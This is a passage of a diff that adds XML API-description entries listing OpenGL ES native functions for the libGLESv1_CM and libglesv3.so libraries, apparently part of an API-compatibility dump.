+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexCoordPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetMaterialxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glScalef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDisableClientState" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFramebuffersOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUnmapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameteri" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glQueryMatrixxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetError" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glWeightPointerOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexsOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFenceivNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glRotatef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetString" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glScalex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenfvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetShadersQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlsQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexCoordPointerBounds" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawElementsEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMapBufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetPointerv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLogicOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffsetxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClientActiveTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFloatv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtIsProgramBinaryQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFrontFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPushMatrix" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetTexSubImageQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMultMatrixxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glNormal3xOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenFencesNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glRotatex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCheckFramebufferStatusOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColor4xOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDisableDriverControlQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoveragex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearColorxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFogfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLoadMatrixxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSetFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glOrthofOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetDriverControlStringQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture2DMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtTexObjectStateOverrideiQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glReadPixels" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsEnabled" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawArrays" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilOp" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsRenderbufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFogxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFramebufferAttachmentParameterivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumfOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPopMatrix" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glColor4ub" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendEquationSeparateOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glNormalPointer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <field deprecated="not deprecated" final="true" name="LIBGLESV1_CM" static="false" transient="false" type="native" value="" visibility="public" volatile="false"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffsetx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexGenivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferRenderbufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenTextures" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetFixedvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMultiDrawArraysEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFuncSeparateOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameterxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPixelStorei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthMask" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexEnvfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glAlphaFuncxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetRenderbufferStorageOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMaterialx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteVertexArraysOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFogxv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexGenxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointSize" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointParameterx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTranslatef" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageMultisampleIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexivOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTestFenceNV" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearDepthx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexEnvfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glExtGetBufferPointervQCOM" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightModelx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLineWidth" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClearStencil" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexParameteriv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glStencilFunc" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexsvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDiscardFramebufferEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTranslatex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLoadMatrixf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glIsFramebufferOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMatrixMode" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumf" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetBufferPointervOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLoadPaletteFromModelViewMatrixOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawTexxvOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteBuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSampleCoverage" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLightxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTranslatexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClipPlanexIMG" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBufferSubData" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetClipPlanefOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPointSizex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexGenxOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPolygonOffset" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDepthRangexOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEGLImageTargetTexture2DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glAlphaFuncx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glLoadMatrixx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFrustumx" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+    </class>
+    <class abstract="false" deprecated="not deprecated" final="true" name="libglesv3.so" static="false" visibility="public">
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFenceSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBlendFunci" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterIuivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageCallbackKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetInteger64v" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGenProgramPipelines" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix2x4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPushDebugGroup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glRenderbufferStorageMultisample" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageControl" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetVertexAttribIiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix4fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectPtrLabel" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1uiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDispatchComputeIndirect" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribBinding" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEnableVertexAttribArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glMemoryBarrierByRegion" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform1fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterIivEXT" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCompressedTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformIndices" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferRenderbuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetTexLevelParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexParameterIuiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteFramebuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElements" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glObjectPtrLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEnablei" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glSamplerParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClear" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetAttachedShaders" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3i" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexBufferRange" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDeleteRenderbuffers" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetUniformiv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribIFormat" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDebugMessageInsertKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttrib2f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glObjectLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUseProgramStages" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniformMatrix4x2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexArray" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetObjectPtrLabelKHR" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform3ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glClientWaitSync" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFramebufferTexture" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glVertexAttribI4iv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniformMatrix2x3fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glBindVertexBuffer" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glEndQuery" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glFlush" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCullFace" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glProgramUniform2fv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glTexImage3DOES" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glPopDebugGroup" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glCopyTexSubImage2D" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform2ui" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glUniform1f" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glDrawElementsBaseVertex" native="true" return="na" static="false" synchronized="true" visibility="public"/>
+      <method abstract="false" deprecated="not deprecated" final="true" name="glGetSamplerParameterfv" native="true" return="na" static="false" synchronized="true" visibility="public"/>
